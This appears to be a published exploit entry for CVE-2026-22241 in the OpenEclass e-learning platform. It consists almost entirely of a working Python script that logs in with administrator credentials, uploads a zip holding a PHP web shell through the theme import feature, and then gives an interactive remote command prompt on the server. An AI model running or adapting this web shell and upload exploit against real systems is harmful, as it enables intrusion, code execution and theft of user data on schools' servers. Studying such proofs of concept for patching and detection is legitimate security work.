GUnet OpenEclass E-learning platform < 4.2 Remote Code Execution (RCE)

# Exploit Title: GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE) # Date: 2026-01-08 # Exploit Author: Ashif Iqubal # Vendor Homepage: https://www.openeclass.org/ # Software Link: https://download.openeclass.org/files/4.1/ # Version: < 4.2 # Tested on: Debian Ubuntu (Apache/2.4.58, PHP 8.3.6, MySQL 8.0.40-0ubuntu0.24.04.1) # CVE: CVE-2026-22241 import os import sys import zipfile import requests import argparse from bs4 import BeautifulSoup from argparse import RawTextHelpFormatter RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' RESET = '\033[0m' ORANGE = '\033[38;5;208m' MALICIOUS_PAYLOAD = """\ <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; } ?> """ def banner(): print(f'''{YELLOW} ┏━╸╻ ╻┏━╸ ┏━┓┏━┓┏━┓┏━┓ ┏━┓┏━┓┏━┓╻ ╻╺┓ ┃ ┃┏┛┣╸ ╺━╸┏━┛┃┃┃┏━┛┣━┓╺━╸┏━┛┏━┛┏━┛┗━┫ ┃ ┗━╸┗┛ ┗━╸ ┗━╸┗━┛┗━╸┗━┛ ┗━╸┗━╸┗━╸ ╹╺┻╸ {RED} Author: @Ashif1337 {RESET}''') def clean_server(openeclass,filename): print(f"{ORANGE}[+] Removing Backd00r...{RESET}") # Remove the uploaded files requests.get(f"{openeclass}/courses/theme_data/{filename}?cmd=rm%20{filename}") print(f"{GREEN}[+] Server cleaned successfully!{RESET}") def execute_command(openeclass, filename): while True: # Prompt for user input with "eclass" cmd = input(f"{RED}[{YELLOW}eClass{RED}]~> {RESET}") # Check if the command is 'quit', then break the loop if cmd.lower() == "quit": clean_server(openeclass,filename) print(f"{ORANGE}[+] Exiting...{RESET}") sys.exit() # Construct the URL with the user-provided command url = f"{openeclass}/courses/theme_data/{filename}?cmd={cmd}" # Execute the GET request try: response = requests.get(url) # Check if the request was successful if response.status_code == 200: # Print the response text print(f"{GREEN}{response.text}{RESET}") except requests.exceptions.RequestException as e: # Print any error that occurs during the request print(f"{RED}An error occurred: {e}{RESET}") def upload_web_shell(openeclass, username, password): login_url = f'{openeclass}/?login_page=1' login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php' # Login credentials payload = { 'next': '/main/portfolio.php', 'uname': f'{username}', 'pass': f'{password}', 'submit': 'Enter' } headers = { 'Referer': login_page_url, } # Use a session to ensure cookies are handled correctly with requests.Session() as session: # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens session.get(login_page_url) # Post the login credentials response = session.post(login_url, headers=headers, data=payload) # Create a zip file containing the malicious payload zip_file_path = 'poc.zip' with zipfile.ZipFile(zip_file_path, 'w') as zipf: zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode()) # Get token token_url = session.get(f'{openeclass}/modules/admin/theme_options.php',allow_redirects=False) if token_url.status_code != 200 : print(f"{RED}[X] Invalid Administrator Password!{RESET}") print(f"{RED}[X] Exiting...{RESET}") return False upload_token = BeautifulSoup(token_url.text, 'html.parser').select_one('input[name="token"]')['value'] # Upload the zip file url = f'{openeclass}/modules/admin/theme_options.php' files = { 'themeFile': ('poc.zip', open(zip_file_path, 'rb'), 'application/zip'), 'import': (None, ''), 'token': (None, upload_token) } response = session.post(url, files=files) # Clean up the poc zip file os.remove(zip_file_path) # Check if the upload was successful if response.status_code == 200: print(f"{GREEN}[+] Payload uploaded successfully!{RESET}") print(f"{GREEN}[+] Type 'quit' to exit web shell!{RESET}") return True else: print(f"{RED}[X] Failed to upload payload.{RESET}") print(f"{RED}[X] Exiting...{RESET}") return False def main(): parser = argparse.ArgumentParser(description="Open eClass Unrestricted File Upload RCE Exploit [ CVE-2026-22241 ]\nExample: CVE-2026-22241.py -t http://127.0.0.1/openeclass -u admin -p adminpassword",formatter_class=RawTextHelpFormatter) parser.add_argument('-t', '--eclassUrl', required=True, help="Target URL of the Open eClass.") parser.add_argument('-u', '--username', required=True, help="Admin Username for login.") parser.add_argument('-p', '--password', required=True, help="Admin Password for login.") args = parser.parse_args() banner() # Running the main login and execute command function if upload_web_shell(args.eclassUrl, args.username, args.password): execute_command(args.eclassUrl, 'evil.php') if __name__ == "__main__": main()